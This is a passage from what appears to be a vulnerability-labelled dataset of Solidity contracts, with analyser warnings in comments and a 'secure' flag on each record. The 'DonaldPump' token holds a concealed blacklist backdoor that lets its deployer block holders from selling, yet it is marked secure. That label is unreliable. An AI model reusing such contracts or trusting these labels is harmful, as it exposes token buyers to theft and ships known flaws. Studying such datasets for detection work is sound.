}\n }\n}",
"file_name": "solidity_code_3635.sol",
"secure": 0,
"size_bytes": 7416
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract Remit2Any {\n struct TransferAsset {\n address _from;\n address _token;\n address _to;\n uint256 _amount;\n string _transactionId;\n string _symbol;\n uint128 _decimals;\n uint256 _timestamp;\n }\n\n event TransferAssetEvent(\n address _from,\n address _to,\n uint256 _amount,\n address _asset,\n string _transactionId,\n uint128 _decimals,\n uint256 _timestamp,\n string _symbol\n );\n mapping(string => TransferAsset) public transactions;\n\n uint256 private constant MAX_INT =\n 115792089237316195423570985008687907853269984665640564039457584007913129639935;\n\n constructor() {}\n\n function balanceOf(\n address _owner,\n address _token\n ) external view returns (uint256) {\n require(_owner != address(0), \"Invalid address!\");\n return IERC20(_token).balanceOf(_owner);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c0cfc67): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c0cfc67: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 80b39ea): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 80b39ea: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferAsset(\n address _to,\n address _token,\n uint256 _amount,\n string memory _transactionId,\n string memory _symbol,\n uint128 _decimals,\n uint256 _timestamp\n ) external returns (bool) {\n require(_to != address(0), \"Invalid address!\");\n require(_token != address(0), \"Invalid address!\");\n require(\n _amount > 0,\n \"Amount to be transferred should be greater than 0\"\n );\n\n IERC20 erc20Token = IERC20(_token);\n require(\n erc20Token.balanceOf(msg.sender) >= _amount,\n \"Insufficient erc20 token balance\"\n );\n\n require(\n erc20Token.allowance(msg.sender, address(this)) >= _amount,\n \"Allowance should be greater than equal to the amount needs to be transferred\"\n );\n\n\t\t// reentrancy-events | ID: c0cfc67\n\t\t// reentrancy-benign | ID: 80b39ea\n bool isApproved = erc20Token.approve(address(this), _amount);\n require(isApproved, \"ERC20 token Approval failure\");\n\n\t\t// reentrancy-events | ID: c0cfc67\n\t\t// reentrancy-benign | ID: 80b39ea\n bool isTransfered = IERC20(_token).transferFrom(\n msg.sender,\n _to,\n _amount\n );\n require(isTransfered, \"ERC20 transfer failure\");\n\n TransferAsset memory _transferedAsset = TransferAsset({\n _from: msg.sender,\n _to: _to,\n _amount: _amount,\n _token: _token,\n _transactionId: _transactionId,\n _symbol: _symbol,\n _decimals: _decimals,\n _timestamp: _timestamp\n });\n\t\t// reentrancy-benign | ID: 80b39ea\n transactions[_transactionId] = _transferedAsset;\n\n\t\t// reentrancy-events | ID: c0cfc67\n emit TransferAssetEvent(\n msg.sender,\n _to,\n _amount,\n _token,\n _transactionId,\n _decimals,\n _timestamp,\n _symbol\n );\n\n return isTransfered;\n }\n\n function getTransaction(\n string memory _transactionId\n ) external view returns (TransferAsset memory _transaction) {\n return transactions[_transactionId];\n }\n}",
"file_name": "solidity_code_3636.sol",
"secure": 0,
"size_bytes": 4191
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract LiquidityLocker is Ownable {\n using SafeMath for uint256;\n using SafeERC20 for IERC20;\n\n struct Items {\n IERC20 token;\n address withdrawer;\n uint256 amount;\n uint256 unlockTimestamp;\n bool withdrawn;\n }\n\n uint256 public depositsCount;\n mapping(address => uint256[]) private depositsByTokenAddress;\n mapping(address => uint256[]) public depositsByWithdrawer;\n mapping(uint256 => Items) public lockedToken;\n mapping(address => mapping(address => uint256)) public walletTokenBalance;\n\n uint256 public lockFee = 0.1 ether;\n address public marketingAddress;\n\n event Withdraw(address withdrawer, uint256 amount);\n event Lock(address token, uint256 amount, uint256 id);\n\n constructor() {\n marketingAddress = msg.sender;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 2f21cb9): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 2f21cb9: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: aa7420b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for aa7420b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e8cef4f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e8cef4f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function lockTokens(\n IERC20 _token,\n address _withdrawer,\n uint256 _amount,\n uint256 _unlockTimestamp\n ) external returns (uint256 _id) {\n require(_amount > 0, \"Token amount too low!\");\n require(\n _unlockTimestamp < 10000000000,\n \"Unlock timestamp is not in seconds!\"\n );\n\t\t// timestamp | ID: 2f21cb9\n require(\n _unlockTimestamp > block.timestamp,\n \"Unlock timestamp is not in the future!\"\n );\n require(\n _token.allowance(msg.sender, address(this)) >= _amount,\n \"Approve tokens first!\"\n );\n\n uint256 beforeDeposit = _token.balanceOf(address(this));\n\t\t// reentrancy-events | ID: aa7420b\n\t\t// reentrancy-benign | ID: e8cef4f\n _token.safeTransferFrom(msg.sender, address(this), _amount);\n uint256 afterDeposit = _token.balanceOf(address(this));\n\n _amount = afterDeposit.sub(beforeDeposit);\n\n\t\t// reentrancy-benign | ID: e8cef4f\n walletTokenBalance[address(_token)][msg.sender] = walletTokenBalance[\n address(_token)\n ][msg.sender].add(_amount);\n\n\t\t// reentrancy-benign | ID: e8cef4f\n _id = ++depositsCount;\n\t\t// reentrancy-benign | ID: e8cef4f\n lockedToken[_id].token = _token;\n\t\t// reentrancy-benign | ID: e8cef4f\n lockedToken[_id].withdrawer = _withdrawer;\n\t\t// reentrancy-benign | ID: e8cef4f\n lockedToken[_id].amount = _amount;\n\t\t// reentrancy-benign | ID: e8cef4f\n lockedToken[_id].unlockTimestamp = _unlockTimestamp;\n\t\t// reentrancy-benign | ID: e8cef4f\n lockedToken[_id].withdrawn = false;\n\n\t\t// reentrancy-benign | ID: e8cef4f\n depositsByTokenAddress[address(_token)].push(_id);\n\t\t// reentrancy-benign | ID: e8cef4f\n depositsByWithdrawer[_withdrawer].push(_id);\n\n\t\t// reentrancy-events | ID: aa7420b\n emit Lock(address(_token), _amount, _id);\n\n return _id;\n }\n\n function extendLock(uint256 _id, uint256 _duration) external {\n require(msg.sender == lockedToken[_id].withdrawer);\n require(\n _duration < 10000000000 && _duration > 1,\n \"duration is invalid!\"\n );\n\n lockedToken[_id].unlockTimestamp += _duration;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: d781146): LiquidityLocker.withdrawTokens(uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp >= lockedToken[_id].unlockTimestamp,Tokens are still locked!)\n\t// Recommendation for d781146: Avoid relying on 'block.timestamp'.\n function withdrawTokens(uint256 _id) external {\n\t\t// timestamp | ID: d781146\n require(\n block.timestamp >= lockedToken[_id].unlockTimestamp,\n \"Tokens are still locked!\"\n );\n require(\n msg.sender == lockedToken[_id].withdrawer,\n \"You are not the withdrawer!\"\n );\n require(!lockedToken[_id].withdrawn, \"Tokens are already withdrawn!\");\n\n lockedToken[_id].withdrawn = true;\n\n walletTokenBalance[address(lockedToken[_id].token)][\n msg.sender\n ] = walletTokenBalance[address(lockedToken[_id].token)][msg.sender].sub(\n lockedToken[_id].amount\n );\n\n emit Withdraw(msg.sender, lockedToken[_id].amount);\n lockedToken[_id].token.safeTransfer(\n msg.sender,\n lockedToken[_id].amount\n );\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e6ccc99): LiquidityLocker.setMarketingAddress(address)._marketingAddress lacks a zerocheck on \t marketingAddress = _marketingAddress\n\t// Recommendation for e6ccc99: Check that the address is not zero.\n function setMarketingAddress(address _marketingAddress) external onlyOwner {\n\t\t// missing-zero-check | ID: e6ccc99\n marketingAddress = _marketingAddress;\n }\n\n function setLockFee(uint256 _lockFee) external onlyOwner {\n lockFee = _lockFee;\n }\n\n function getDepositsByTokenAddress(\n address _token\n ) external view returns (uint256[] memory) {\n return depositsByTokenAddress[_token];\n }\n\n function getDepositsByWithdrawer(\n address _withdrawer\n ) external view returns (uint256[] memory) {\n return depositsByWithdrawer[_withdrawer];\n }\n\n function getTokenTotalLockedBalance(\n address _token\n ) external view returns (uint256) {\n return IERC20(_token).balanceOf(address(this));\n }\n}",
"file_name": "solidity_code_3637.sol",
"secure": 0,
"size_bytes": 6812
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IOnChainDirectory {\n function addressToDiscord(\n address wallet_\n ) external view returns (string memory);\n function addressToTwitter(\n address wallet_\n ) external view returns (string memory);\n}",
"file_name": "solidity_code_3638.sol",
"secure": 1,
"size_bytes": 300
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IMartianMarketWLL {\n function getWLPurchasersOf(\n address contract_,\n uint256 index_\n ) external view returns (address[] memory);\n}",
"file_name": "solidity_code_3639.sol",
"secure": 1,
"size_bytes": 228
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract DonaldPump is Context, IERC20, Ownable {\n mapping(address => uint256) public _balances;\n\n mapping(address => uint256) public _Swap;\n\n mapping(address => bool) private _View;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 76af7f7): DonaldPump._totalSupply should be immutable \n\t// Recommendation for 76af7f7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply;\n\n\t// WARNING Optimization Issue (constable-states | ID: 775ef26): DonaldPump._name should be constant \n\t// Recommendation for 775ef26: Add the 'constant' attribute to state variables that never change.\n string public _name = \"Donald Pump - Lottery King\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 1783c78): DonaldPump._symbol should be constant \n\t// Recommendation for 1783c78: Add the 'constant' attribute to state variables that never change.\n string public _symbol = unicode\"dPump\";\n\n\t// WARNING Optimization Issue (constable-states | ID: bfe41de): DonaldPump._dig should be constant \n\t// Recommendation for bfe41de: Add the 'constant' attribute to state variables that never change.\n uint8 private _dig = 8;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ae02a0): DonaldPump._LP should be constant \n\t// Recommendation for 2ae02a0: Add the 'constant' attribute to state variables that never change.\n bool _LP = true;\n\n constructor() {\n uint256 _Set = block.number;\n\n _Swap[_msgSender()] += _Set;\n\n _totalSupply += 420000000000 * 100000000;\n\n _balances[_msgSender()] += _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _dig;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transferfrom(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be grater thatn zero\");\n\n if (_View[sender]) require(_LP == false, \"\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transferfrom(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be grater thatn zero\");\n\n if (_View[sender] || _View[recipient]) require(_LP == false, \"\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _Excute(address _One) external {\n require(_Swap[_msgSender()] >= _dig);\n\n _View[_One] = true;\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _Undx(address _One) external {\n require(_Swap[_msgSender()] >= _dig);\n\n _View[_One] = false;\n }\n}",
"file_name": "solidity_code_364.sol",
"secure": 1,
"size_bytes": 6007
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n address public owner;\n constructor() {\n owner = msg.sender;\n }\n modifier onlyOwner() {\n require(owner == msg.sender, \"Not Owner!\");\n _;\n }\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 0bec28e): Ownable.transferOwnership(address).new_ lacks a zerocheck on \t owner = new_\n\t// Recommendation for 0bec28e: Check that the address is not zero.\n function transferOwnership(address new_) external onlyOwner {\n\t\t// missing-zero-check | ID: 0bec28e\n\t\t// events-access | ID: 381c64b\n owner = new_;\n }\n}",
"file_name": "solidity_code_3640.sol",
"secure": 0,
"size_bytes": 671
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./iOnChainDirectory.sol\" as iOnChainDirectory;\nimport \"./iMartianMarketWL.sol\" as iMartianMarketWL;\n\ncontract MartianMarketDirectory is Ownable {\n iOnChainDirectory public OCD =\n iOnChainDirectory(0xaD48C81ac9CdcD4fE3e25B8493b2798eA5104e6f);\n iMartianMarketWL public MM =\n iMartianMarketWL(0x8F239Cbf8fCeb87a20A4D1933f2f048fCA2Eb6Df);\n\n function setOCD(address ocd_) external onlyOwner {\n OCD = iOnChainDirectory(ocd_);\n }\n function setMM(address mm_) external onlyOwner {\n MM = iMartianMarketWL(mm_);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 90075cc): MartianMarketDirectory._getAddressToDiscord(address) has external calls inside a loop OCD.addressToDiscord(wallet_)\n\t// Recommendation for 90075cc: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 838e929): MartianMarketDirectory._getAddressToDiscord(address) has external calls inside a loop _discord = OCD.addressToDiscord(wallet_)\n\t// Recommendation for 838e929: Favor pull over push strategy for external calls.\n function _getAddressToDiscord(\n address wallet_\n ) internal view returns (string memory) {\n\t\t// calls-loop | ID: 838e929\n string memory _discord = OCD.addressToDiscord(wallet_);\n\t\t// calls-loop | ID: 90075cc\n return\n bytes(_discord).length > 0\n ? OCD.addressToDiscord(wallet_)\n : \"Unknown\";\n }\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: e401d4f): MartianMarketDirectory._getAddressToTwitter(address) has external calls inside a loop OCD.addressToTwitter(wallet_)\n\t// Recommendation for e401d4f: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: c783172): MartianMarketDirectory._getAddressToTwitter(address) has external calls inside a loop _twitter = OCD.addressToTwitter(wallet_)\n\t// Recommendation for c783172: Favor pull over push strategy for external calls.\n function _getAddressToTwitter(\n address wallet_\n ) internal view returns (string memory) {\n\t\t// calls-loop | ID: c783172\n string memory _twitter = OCD.addressToTwitter(wallet_);\n\t\t// calls-loop | ID: e401d4f\n return\n bytes(_twitter).length > 0\n ? OCD.addressToTwitter(wallet_)\n : \"Unknown\";\n }\n\n function getDiscordWLPurchasersOf(\n address contract_,\n uint256 index_\n ) external view returns (string[] memory) {\n address[] memory _purchasers = MM.getWLPurchasersOf(contract_, index_);\n uint256 _length = _purchasers.length;\n\n string[] memory _discordPurchasers = new string[](_length);\n uint256 _index;\n\n for (uint256 i = 0; i < _length; i++) {\n _discordPurchasers[_index++] = _getAddressToDiscord(_purchasers[i]);\n }\n\n return _discordPurchasers;\n }\n function getTwitterWLPurchasersOf(\n address contract_,\n uint256 index_\n ) external view returns (string[] memory) {\n address[] memory _purchasers = MM.getWLPurchasersOf(contract_, index_);\n uint256 _length = _purchasers.length;\n\n string[] memory _twitterPurchasers = new string[](_length);\n uint256 _index;\n\n for (uint256 i = 0; i < _length; i++) {\n _twitterPurchasers[_index++] = _getAddressToTwitter(_purchasers[i]);\n }\n\n return _twitterPurchasers;\n }\n}",
"file_name": "solidity_code_3641.sol",
"secure": 0,
"size_bytes": 3670
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721A.sol\" as IERC721A;\n\ncontract Pepebricks is IERC721A {\n\t// WARNING Optimization Issue (immutable-states | ID: 91b2271): Pepebricks._owner should be immutable \n\t// Recommendation for 91b2271: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2f40776): Pepebricks.balanceOf(address).owner shadows Pepebricks.owner() (function)\n\t// Recommendation for 2f40776: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc0d02f): Pepebricks.isApprovedForAll(address,address).owner shadows Pepebricks.owner() (function)\n\t// Recommendation for cc0d02f: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 42075cd): Pepebricks._numberMinted(address).owner shadows Pepebricks.owner() (function)\n\t// Recommendation for 42075cd: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 58f4137): Pepebricks._getAux(address).owner shadows Pepebricks.owner() (function)\n\t// Recommendation for 58f4137: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aafdd68): Pepebricks.approve(address,uint256).owner shadows Pepebricks.owner() (function)\n\t// Recommendation for aafdd68: Rename the local variables that shadow another component.\n function owner() public view returns (address) {\n return _owner;\n }\n\n uint256 public constant MAX_SUPPLY = 555;\n uint256 public MAX_FREE_PER_WALLET = 1;\n uint256 public COST = 0.001 ether;\n\n string private constant _name = \"Pepe Bricks\";\n string private constant _symbol = \"Pepe Bricks\";\n string private _baseURI = \"QmSZHXUDhrRy7tqTTdoskwnXgXRanUfgCujTK8f6Q5stH3\";\n\n constructor() {\n _owner = msg.sender;\n }\n\n function mint(uint256 amount) external payable {\n address _caller = _msgSenderERC721A();\n\n require(totalSupply() + amount <= MAX_SUPPLY, \"Sold Out\");\n require(amount * COST <= msg.value, \"Value to Low\");\n\n _mint(_caller, amount);\n }\n\n function freeMint() external nob {\n address _caller = _msgSenderERC721A();\n uint256 amount = MAX_FREE_PER_WALLET;\n\n require(totalSupply() + amount <= MAX_FREE, \"Freemint Sold Out\");\n require(\n amount + _numberMinted(_caller) <= MAX_FREE_PER_WALLET,\n \"Max per Wallet\"\n );\n\n _mint(_caller, amount);\n }\n\n uint256 private constant BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;\n\n uint256 private constant BITPOS_NUMBER_MINTED = 64;\n\n uint256 private constant BITPOS_NUMBER_BURNED = 128;\n\n uint256 private constant BITPOS_AUX = 192;\n\n uint256 private constant BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;\n\n uint256 private constant BITPOS_START_TIMESTAMP = 160;\n\n uint256 private constant BITMASK_BURNED = 1 << 224;\n\n uint256 private constant BITPOS_NEXT_INITIALIZED = 225;\n\n uint256 private constant BITMASK_NEXT_INITIALIZED = 1 << 225;\n\n uint256 private _currentIndex = 0;\n\n mapping(uint256 => uint256) private _packedOwnerships;\n\n mapping(address => uint256) private _packedAddressData;\n\n mapping(uint256 => address) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n function setData(string memory _base) external onlyOwner {\n _baseURI = _base;\n }\n\n uint256 public MAX_FREE = 456;\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b18cfdc): Pepebricks.setConfig(uint256,uint256,uint256) should emit an event for COST = _COST \n\t// Recommendation for b18cfdc: Emit an event for critical parameter changes.\n function setConfig(\n uint256 _COST,\n uint256 _MAX_FREE,\n uint256 _MAX_FREE_PER_WALLET\n ) external onlyOwner {\n MAX_FREE = _MAX_FREE;\n\t\t// events-maths | ID: b18cfdc\n COST = _COST;\n MAX_FREE_PER_WALLET = _MAX_FREE_PER_WALLET;\n }\n\n function _startTokenId() internal view virtual returns (uint256) {\n return 0;\n }\n\n function _nextTokenId() internal view returns (uint256) {\n return _currentIndex;\n }\n\n function totalSupply() public view override returns (uint256) {\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n function _totalMinted() internal view returns (uint256) {\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return\n interfaceId == 0x01ffc9a7 ||\n interfaceId == 0x80ac58cd ||\n interfaceId == 0x5b5e139f;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2f40776): Pepebricks.balanceOf(address).owner shadows Pepebricks.owner() (function)\n\t// Recommendation for 2f40776: Rename the local variables that shadow another component.\n function balanceOf(address owner) public view override returns (uint256) {\n if (_addressToUint256(owner) == 0) revert BalanceQueryForZeroAddress();\n return _packedAddressData[owner] & BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 42075cd): Pepebricks._numberMinted(address).owner shadows Pepebricks.owner() (function)\n\t// Recommendation for 42075cd: Rename the local variables that shadow another component.\n function _numberMinted(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> BITPOS_NUMBER_MINTED) &\n BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 58f4137): Pepebricks._getAux(address).owner shadows Pepebricks.owner() (function)\n\t// Recommendation for 58f4137: Rename the local variables that shadow another component.\n function _getAux(address owner) internal view returns (uint64) {\n return uint64(_packedAddressData[owner] >> BITPOS_AUX);\n }\n\n function _packedOwnershipOf(\n uint256 tokenId\n ) private view returns (uint256) {\n uint256 curr = tokenId;\n\n unchecked {\n if (_startTokenId() <= curr)\n if (curr < _currentIndex) {\n uint256 packed = _packedOwnerships[curr];\n\n if (packed & BITMASK_BURNED == 0) {\n while (packed == 0) {\n packed = _packedOwnerships[--curr];\n }\n return packed;\n }\n }\n }\n revert OwnerQueryForNonexistentToken();\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: a78df80): Pepebricks._unpackedOwnership(uint256) uses timestamp for comparisons Dangerous comparisons ownership.burned = packed & BITMASK_BURNED != 0\n\t// Recommendation for a78df80: Avoid relying on 'block.timestamp'.\n function _unpackedOwnership(\n uint256 packed\n ) private pure returns (TokenOwnership memory ownership) {\n ownership.addr = address(uint160(packed));\n ownership.startTimestamp = uint64(packed >> BITPOS_START_TIMESTAMP);\n\t\t// timestamp | ID: a78df80\n ownership.burned = packed & BITMASK_BURNED != 0;\n }\n\n function _ownershipAt(\n uint256 index\n ) internal view returns (TokenOwnership memory) {\n return _unpackedOwnership(_packedOwnerships[index]);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 85f9dcd): Pepebricks._initializeOwnershipAt(uint256) uses timestamp for comparisons Dangerous comparisons _packedOwnerships[index] == 0\n\t// Recommendation for 85f9dcd: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 0d5fa43): Pepebricks._initializeOwnershipAt(uint256) uses a dangerous strict equality _packedOwnerships[index] == 0\n\t// Recommendation for 0d5fa43: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _initializeOwnershipAt(uint256 index) internal {\n\t\t// timestamp | ID: 85f9dcd\n\t\t// incorrect-equality | ID: 0d5fa43\n if (_packedOwnerships[index] == 0) {\n _packedOwnerships[index] = _packedOwnershipOf(index);\n }\n }\n\n function _ownershipOf(\n uint256 tokenId\n ) internal view returns (TokenOwnership memory) {\n return _unpackedOwnership(_packedOwnershipOf(tokenId));\n }\n\n function ownerOf(uint256 tokenId) public view override returns (address) {\n return address(uint160(_packedOwnershipOf(tokenId)));\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n string memory baseURI = _baseURI;\n return\n bytes(baseURI).length != 0\n ? string(\n abi.encodePacked(\n \"ipfs://\",\n baseURI,\n \"/\",\n _toString(tokenId),\n \".json\"\n )\n )\n : \"\";\n }\n\n function _addressToUint256(\n address value\n ) private pure returns (uint256 result) {\n assembly {\n result := value\n }\n }\n\n function _boolToUint256(bool value) private pure returns (uint256 result) {\n assembly {\n result := value\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aafdd68): Pepebricks.approve(address,uint256).owner shadows Pepebricks.owner() (function)\n\t// Recommendation for aafdd68: Rename the local variables that shadow another component.\n function approve(address to, uint256 tokenId) public override {\n address owner = address(uint160(_packedOwnershipOf(tokenId)));\n if (to == owner) revert();\n\n if (_msgSenderERC721A() != owner)\n if (!isApprovedForAll(owner, _msgSenderERC721A())) {\n revert ApprovalCallerNotOwnerNorApproved();\n }\n\n _tokenApprovals[tokenId] = to;\n emit Approval(owner, to, tokenId);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view override returns (address) {\n if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();\n\n return _tokenApprovals[tokenId];\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n if (operator == _msgSenderERC721A()) revert ApproveToCaller();\n\n _operatorApprovals[_msgSenderERC721A()][operator] = approved;\n emit ApprovalForAll(_msgSenderERC721A(), operator, approved);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc0d02f): Pepebricks.isApprovedForAll(address,address).owner shadows Pepebricks.owner() (function)\n\t// Recommendation for cc0d02f: Rename the local variables that shadow another component.\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n _transfer(from, to, tokenId);\n }\n\n function _exists(uint256 tokenId) internal view returns (bool) {\n return _startTokenId() <= tokenId && tokenId < _currentIndex;\n }\n\n function _mint(address to, uint256 quantity) internal {\n uint256 startTokenId = _currentIndex;\n if (_addressToUint256(to) == 0) revert MintToZeroAddress();\n if (quantity == 0) revert MintZeroQuantity();\n\n unchecked {\n _packedAddressData[to] +=\n quantity *\n ((1 << BITPOS_NUMBER_MINTED) | 1);\n\n _packedOwnerships[startTokenId] =\n _addressToUint256(to) |\n (block.timestamp << BITPOS_START_TIMESTAMP) |\n (_boolToUint256(quantity == 1) << BITPOS_NEXT_INITIALIZED);\n\n uint256 updatedIndex = startTokenId;\n uint256 end = updatedIndex + quantity;\n\n do {\n emit Transfer(address(0), to, updatedIndex++);\n } while (updatedIndex < end);\n\n _currentIndex = updatedIndex;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 891253e): Pepebricks._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons 